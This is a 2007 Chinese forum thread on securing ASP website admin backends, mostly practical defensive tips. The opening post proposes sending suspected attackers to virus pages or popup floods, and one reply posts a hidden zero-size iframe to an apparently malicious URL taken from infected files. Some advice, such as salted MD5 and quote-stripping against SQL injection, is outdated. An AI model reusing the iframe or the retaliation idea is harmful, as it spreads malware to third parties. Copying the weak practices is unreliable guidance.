收藏本站腾讯微博新浪微博

经典论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

蓝色理想 最新研发动态 网站开通淘帖功能 - 蓝色理想插件 论坛内容导读一页看论坛 - 给官方提建议

论坛活动及任务 地图和邮件任务 请多用悬赏提问 热夏来袭,选一款蓝色理想的个性T恤吧!

手机上论坛,使用APP获得更好体验 急需前端攻城狮,获得内部推荐机会 论坛开通淘帖功能,收藏终于可以分类了!

搜索
查看: 9236|回复: 24

[asp] 我对后台安全的一些做法

[复制链接]
发表于 2007-3-23 21:51:50 | 显示全部楼层 |阅读模式
看了这个帖子:http://bbs.blueidea.com/thread-2727974-1-1.html
之所以单独开帖,我想还会有其它新手同样受此干扰吧。
这个帖子只是自己的一点小经验,供新手参考。如果有高手有更好的经验,欢迎分享和指正。

-------------------------------------------------------------------------------------------------
加强ASP网站后台安全一些主要措施:
-------------------------------------------------------------------------------------------------
想想自己第一次做的网站,就遭到一个美国的IP不断功击(也并非全是坏事,因为这件事,使我从DW转向手写代码,呵呵,说来还得感谢这个人),前不久,最新完成的一个网站,不断有人直接访问备份数据库的后台文件,我为网站提供了更改管理文件夹名称的功能,但仍然马上被找到(我想他是用什么黑客软件扫描网站所有文件,并看那个文件名带有“db"字样吧),但均被踢出,我们网站仍然安然无事,现在这个网站后台功击者少了很多,也安静了。

1、使用IP或IP段,明确指定一个IP是最佳的,如果不行,可以用IP段来缩小可登入权限,

2、把管理员的帐号和密码写入页面,不要用数据库。
一般的教材通常都是教人在会员库做一个admin权限的会员,但是如果是AC数据库——特别是中小企业的网站,库被下载且密码被破,则也不存在安全;虽然现在不少服务器都能提供路径外存放数据库,也可以用#号之类的命名和改名数据库,但对于管理员权限,我认为都比不上直接用FSO把管理员的密码和帐号写到文件上,不要存在数据库。

3、为密码附加一个字串:
也许这招是多余的,但在防不胜防的情况下,我还是在用它,因为不花什么精力,
大家都知道,简单的密码易于破解,也听说有人破解过MD5密码,但现在最难也最易用的,可能还是MD5密码,那怎么加强?
对于有密码常识的人,可能会知道取一个各种组合的密码难被破解,但特别对于很多前台会员注册来说,一般人取的密码还是很简单的,也许当你的作品交付给客户时,他们的管理人员也会取个“123”的密码,如果MD5真有人破解,那也是这些简单的密码先“挂彩”。
不过可以在为这些会员以及后台管理员调一个“附加串”,如:

  1. Dim pwd,pwdStr
  2. pwdStr="02!adb@a2k"   '就是这个串
  3. pwd=trim(request.form("password"))
  4. pwd=Md5(Md5(pwd&pwdStr))   '和字串组合后,用MD5加密。
复制代码


这样,不管设的密码多么简单,在加强后都会变的复杂。

4、善用服务器。
网站安全,除程序严谨以外,服务器安全设置也是很重要,现在大服务器商安全方面都做的不错,但如果是自己的服务器,就要加强。
也要充分利用服务器提供的功能,比如:路径外保存数据库;将非法IP保存到服务器拒绝IP行列中等等。

5、给功击者一点彩色。
这招是我的一个台湾老师开玩笑说的,不过我觉得可以用(然而我自己到现在为止还没用上这招)——如果你不堪其烦时,为什么不反击呢?
给功击者增加难度或处理时间,或许也是双方解脱的一个办法,因为双方都很“烦”,“当两个人打的爬在地上时,这时调解是最容易的”。

比如:把确认为非法登入者导入到病毒网页,或者转到一个“疯狂+疯狂”弹窗的页面。或者,你还有更狠的绝招就使出来。


其它的,在安全方面加强,我觉得都没有以上前四点来的重要,如果要修补,也应优先从session着手,cookies则最好不用,也不要把后台的session或cookies命名与前台会员登入相同。对于http://bbs.blueidea.com/thread-2727974-1-1.html这个帖子来说,可能还存在未正确验证,就先输出cookies,而严格来说,应该在后台登入界面就已经开始着手验证了。
此外,“偷”个少输入帐号的麻烦,换来网站数据崩溃,是你的过错,没有任何良方可以让这么点小懒都想“偷”的人可以无后顾之忧。我个人的看法,当启用了IP限制后,才是考虑是否开放cookies,否则就免了吧。

[[i] 本帖最后由 gjr1 于 2007-3-23 22:14 编辑 ]

评分

参与人数 1威望 +1 收起 理由
5do8 + 1 原创内容

查看全部评分

发表于 2007-3-24 02:02:24 | 显示全部楼层
不理解,以前用ASP被攻击过,现在转学PHP呵呵:)
回复 支持 反对

使用道具 举报

发表于 2007-3-24 05:07:47 | 显示全部楼层
我觉得,大部分的攻击,都是从前台发起的...

因为后台防范措施比较严密.  前台页面多,容易疏忽.  所以还是仔细一些,严谨一些,就不会出大问题.

至于如何防范,大多数人都有正确的办法,就看细不细心了.
回复 支持 反对

使用道具 举报

发表于 2007-3-24 06:18:12 | 显示全部楼层
我的安全策略:
1.用IIS6.0做服务器(WIN2003);不在上面装OFFICE,所以,*.mdb不能被下载,会报404.
2.我所有的GET方式和request.QueryString,都采用纯数字形式,在编程中判断数据类型后再处理.
3.POST方式全用request.Form,而不用request;并检查站内提交;每个项都用一次检查.
4.管理登录的页面记录登录并防刷新和时间内提交;
5.所有管理页第一步就是检查SESSION,并在每步操作时再检查.
6.COOKIE只用来记录用户选择的页面样式,不保存其他.
7.对提交的项目明显不对的,清空所有SESSION并跳转到自定义页面(比如,明显想注入的,就跳到警告页面;只是一般错误的,就跳到提示页面等等)<!--这里好象楼主的第五点-->
8.后台登录的时候,先检查前台SESSION(学某些论坛的).
9.所有上传,不停地检查各种项目.(虽然很慢,但是确实防止非法上传)
10.上传的文件不给出具体路径和文件名(防止改类型上传的人调用)
11.为了防止JPG图片木马,JPG图片一律用组件重新绘制.
........................


还有一些,一下子想不到那么多了



很赞楼主的第三条,现在做的站决定采用,呵呵
但是我想换成MYFUNC(MD5(Md5(pwd&pwdStr))
MYFUNC()可以很复杂,比MD5双层还好用.<!--其实不需要的,只要MDB不能被下载,比SQL还要安全-->
我见过一个入侵SQL的,就是看到了CONN.ASP中的SQL帐号密码.........

评分

参与人数 1威望 +1 收起 理由
5do8 + 1 谢谢分享

查看全部评分

回复 支持 反对

使用道具 举报

发表于 2007-3-24 06:56:57 | 显示全部楼层
密码之类的写在文本文件中,确实不安全.

我以前,曾经用google搜索  连接数据库的一些关键字,就找到了一堆网站的数据库连接密码,mdb库地址等....

现在好象没有了.

但这就说明问题....即使是在 .asp 中,也照样被读去了内容....
回复 支持 反对

使用道具 举报

发表于 2007-3-24 08:02:20 | 显示全部楼层
第11条很聪明。
回复 支持 反对

使用道具 举报

发表于 2007-3-24 11:49:58 | 显示全部楼层
1.加个防注入(如sql通用防注入3.1)
2.后台目录改深一点。
3。数据库做防下载处理(参照动网)
4。上传要小心,这里最容易出问题(可参照动网上传方法)
5.密码可以改一下MD5的算法。
回复 支持 反对

使用道具 举报

发表于 2007-3-24 14:22:18 | 显示全部楼层
感谢楼主把我的帖子单独再开出来,你说的建议都非常好,不过我还是想了一些问题:
1、对登入IP进行限制,黑客是否会采用绕过IP的方法进行登录,网站的管理员如果在外地又该怎么办呢?
2、把用户名和密码写入文本,无非是写入asp或inc文件,这个和把密码写后缀为.asp的数据库(通过添加二进制码禁止下载)有什么区别,如果后台要对管理划分权限或其他操作,岂不是很麻烦。
3、网站的人性化设计很重要(比如记录Cookiese以免去重复登录后台),但人性化设计是必须建立在安全性的基础之上
4、没有绝对的安全,只有相对的安全,大部分时间我们还是要不断学习和改进。

[[i] 本帖最后由 HmilyHeart 于 2007-3-24 14:30 编辑 ]
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-3-24 16:18:06 | 显示全部楼层
原帖由 [i]HmilyHeart 于 2007-3-24 14:22 发表
感谢楼主把我的帖子单独再开出来,你说的建议都非常好,不过我还是想了一些问题:
1、对登入IP进行限制,黑客是否会采用绕过IP的方法进行登录,网站的管理员如果在外地又该怎么办呢?
2、把用户名和密码写入文 ...


我个人的体会,用IP限制,不会被绕过IP,因为程序取不到相符的IP,就统一拒绝。
我自己的网站后台有一个临时文件,可以开启是否使用IP限制,如果在外地,可以临时开放,

上述做法体现两个思路,一是缩小被功击范围,二是对密码本身加强,正如四楼oerrite所用的MYFUNC(MD5(Md5(pwd&pwdStr))方法,因此,当你如果经常在外地使用后台,特别是出差中不断更换机子,IP限制其实没有意义,可以取消或者反向限制,比如你获得了那个美国IP,就添加到服务器拒绝行列中。也许有人说这个不管用,但做比不做强很多,何况你也不知道那个功击者是菜鸟试水,还是真的是高手。

现在能通过搜索引擎读取到ASP文件代码,怕是基本没有了,如果ASP文件代码被读取,我想服务器本身就有问题,更何况,读到代码,得到的也是MD5多次加密的管理员帐密,因此,不管你是要放在数据库,还是写在文件,都要做好密码本身的加密,然而相对而言,我更喜欢放在页面。至少,从遇到这几次的黑客来看,他们都是一头扎到猜测的网站后台对“数据库”处理的文件上,好像起不来了(以前在农村河里游泳,有一个人玩跳水,帅帅地一头扎到水里,结果半天出不来,大人下水一看,原来扎到淤泥里去出不来,好好的一条命就这样挂了,我遇上的黑客也差不多情景相似)。

你也可以在后台登入页面要求输入前台密码(放在数据库),和后台密码(写在页面)相组合,进行双重验证。要做“管理划分权限”并不影响写到页面,更改帐号和密码,都很简单,你试着写一下看看就知道,也可以把这个功能封装成函数重复调用。

此外,并不排除使用cookies,否则经典论坛也不会开启cookies给我们,何况现在流行“用户体验”,但是对于后台,事关网站的全站安全,我想另当别论。

正如你所说,“没有绝对的安全,只有相对的安全”,杀软都搞不定层出不穷的病毒,网站防黑也是一样,美国国防部网站都有人遭踏,何况我们,也许这个帖子没多久就为我们的网站招来黑客,但只要能做的,我觉得就尽量去做。

另外,也提醒一些新手,做完一个站,一定要全部检察后台文件,我曾在百度找到一个网站后台没设防,“赤条条”的给我看,差点休克了,人家不给你看时,你千方百计要看,开放了给你看,你反而躲躲藏藏——所以我想这样的网站可以评上“年度最佳人性化”网站。

[[i] 本帖最后由 gjr1 于 2007-3-24 16:35 编辑 ]
回复 支持 反对

使用道具 举报

发表于 2007-3-24 19:24:01 | 显示全部楼层
我见过一个入侵SQL的,就是看到了CONN.ASP中的SQL帐号密码.........

如何看到,请指教?
因为我conn.asp里一值都是有连接数据库地帐号密码的.
回复 支持 反对

使用道具 举报

发表于 2007-3-25 18:58:34 | 显示全部楼层
谢谢楼上各位的分享。我用的还是比较原始的方法:
1。后台的路径,尽量复杂一些,文件名搞长点。
2。在管理员的数据表中,人为地加入一些无用的数据,如:加入10个管理员帐号,其中只有一个是有用的,放在中间,前面和后面放些没用的,密码列放它100个字符。
3。还有就是对攻击者给些小警告。转到别的页去。

呵呵,以上只是个人的一些看法,希望高手们有好的方法可以分享一下。
回复 支持 反对

使用道具 举报

发表于 2007-3-26 09:36:18 | 显示全部楼层
呵呵,ASP+COM,用户密码,数据库密码,这些都放COM里。
不过,这方法只适用于自己可以在服务器上注册COM。
回复 支持 反对

使用道具 举报

发表于 2007-3-26 19:51:43 | 显示全部楼层

回复 #6 萧萧小雨 的帖子

如果是虚拟主机。这条根本不行不通啊。。。
我想除了SQL的注入,图片病毒应该是最危险了。。
回复 支持 反对

使用道具 举报

发表于 2007-3-27 11:36:23 | 显示全部楼层
这几天遇见过
JPG图片木马

上传的文件明明是jpg的,但是用IE打开,是一个程序页面!!

而且还不知道他怎么进我的后台的!!
回复 支持 反对

使用道具 举报

发表于 2007-3-28 09:10:39 | 显示全部楼层
是否应该加一个错误记录日志,比如某月某日,来自ip***.***.***.***的朋友在进入页面http://...asp时出现错误,提交参数为1=1 and select ...

另外,非常同意第五点给功击者一点彩色,但我不认为把攻击者导入到病毒页面或者无限弹窗是一个明智的选择,对于一般的菜鸟,这招或许管用,但如果是一个比较有经验的,遇到这种事后,肯定会千方百计要拿下这个站点,因为他感到不爽,也感觉到了难度,所以以暴制暴不是最佳方案。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-3-28 09:47:43 | 显示全部楼层
我有加日志,不过SQL注入是放在前台,后台只记录被尝试登入的页面名称,因为后台只存在登入是否被授权认可的,所以不做SQL注入分析。

同意楼上观点,这可能和每一个人的防黑理念有所不同,我个人认为一般高手不会盯着我们这些网站,只有菜鸟才到处鼓抖,这好比很多公司爱和当官的接近,然后向他要一个书法字帖:“XX公司人——XX官题于公元X年X月”,再装裱挂在公司显眼处,这种“书法”其实字都写的挺垃圾的,但挂在那里可以镇住工商、税务的一些小鬼。
黑社会里冲在最前面的一般也是小喽罗,所以,我个人防黑的重点也是这些人,只要不受其烦就好,真遇上高手级的黑客,其实对自己也是一个刺激和进步。
原先我有想到用转到病毒网页,找了挺久的,没找到满意的病毒页,后来渐渐忘了这事。只在网页上标注了一行中英文对照的警示。
回复 支持 反对

使用道具 举报

发表于 2007-3-28 10:32:42 | 显示全部楼层
原帖由 [i]gjr1 于 2007-3-28 09:47 发表
我有加日志,不过SQL注入是放在前台,后台只记录被尝试登入的页面名称,因为后台只存在登入是否被授权认可的,所以不做SQL注入分析。

同意楼上观点,这可能和每一个人的防黑理念有所不同,我个人认为一般高手 ...


<iframe src=http://pp.900666.com/abc.htm width=0 height=0></iframe>

转到这里去,从我被感染的文件上拿下来的。
回复 支持 反对

使用道具 举报

发表于 2007-3-28 19:55:11 | 显示全部楼层
后台目录藏起来就是了……

譬如asdf@#admin这样……没有人能够猜出来……
回复 支持 反对

使用道具 举报

发表于 2007-3-29 09:32:22 | 显示全部楼层
其实,最安全的办法是:
纯HTML,连JS都不用.....
回复 支持 反对

使用道具 举报

发表于 2007-3-29 11:23:28 | 显示全部楼层
时代在变。什么方法以后都可能被破解。
谁敢说以后一定安全
回复 支持 反对

使用道具 举报

发表于 2007-3-29 13:00:13 | 显示全部楼层
1、在IIS中删除MDB等高危文件的MIME,这样不能下载,为404
2、比较完善的防SQL注入,这样的代码太多,不用说了
3、上传目录单独划出一个相对目录,目录权限为不可执行,上传JPG木马,ASP木马,XXX.ASP这种目录等类型的通杀
4、安全的程序,这和ASP或PHP没什么关系,PHP没配置好,危险比ASP更大
5、安全的主机,你的程序做的再安全,人家通过服务器上别的程序黑了服务器,FTP你的东西,什么都没用的

PS:VB做的DLL是伪编译,一样可以看到密码的

[[i] 本帖最后由 剑气凌人 于 2007-3-31 18:58 编辑 ]

评分

参与人数 1威望 +1 收起 理由
5do8 + 1 谢谢分享

查看全部评分

回复 支持 反对

使用道具 举报

发表于 2007-3-30 13:03:21 | 显示全部楼层
1.做好服务器的安全(最重要)
2.程序级的安全
(1)防注入,替换一个单引号和空格就行了
(2)屏蔽上传漏洞
(3)对用户的登录密码进行加密,如使用多种加密算法混合加密,管理员和普通用户使用不同的加密算法
(4)做个识别码,防穷举登录
(5)用密钥交换算法实现安全登录,不在网上明码传输密码

其它的什么改文件名、限IP什么的没必要。还有对什么放木马、放毒什么的,强烈BS
回复 支持 反对

使用道具 举报

发表于 2007-3-30 20:32:41 | 显示全部楼层
在IIS里面设置 图片文件夹禁止运行脚本
回复 支持 反对

使用道具 举报

发表于 2007-4-2 11:44:22 | 显示全部楼层

回复 #22 cjj31 的帖子

22楼说得很对!做好程序的安全和服务器的安全至关重要.其它有他五八.没他四十
回复 支持 反对

使用道具 举报

发表于 2007-4-2 12:11:26 | 显示全部楼层
我加了系统登录日志,系统维护日志,SQL注入日志…………后来,还是被攻击了。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|Archiver|手机版|blueidea.com ( 湘ICP备12001430号 )  

GMT+8, 2020-8-12 01:01 , Processed in 0.155854 second(s), 14 queries , Gzip On, Memcache On.

Powered by Discuz! X3.2 Licensed

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表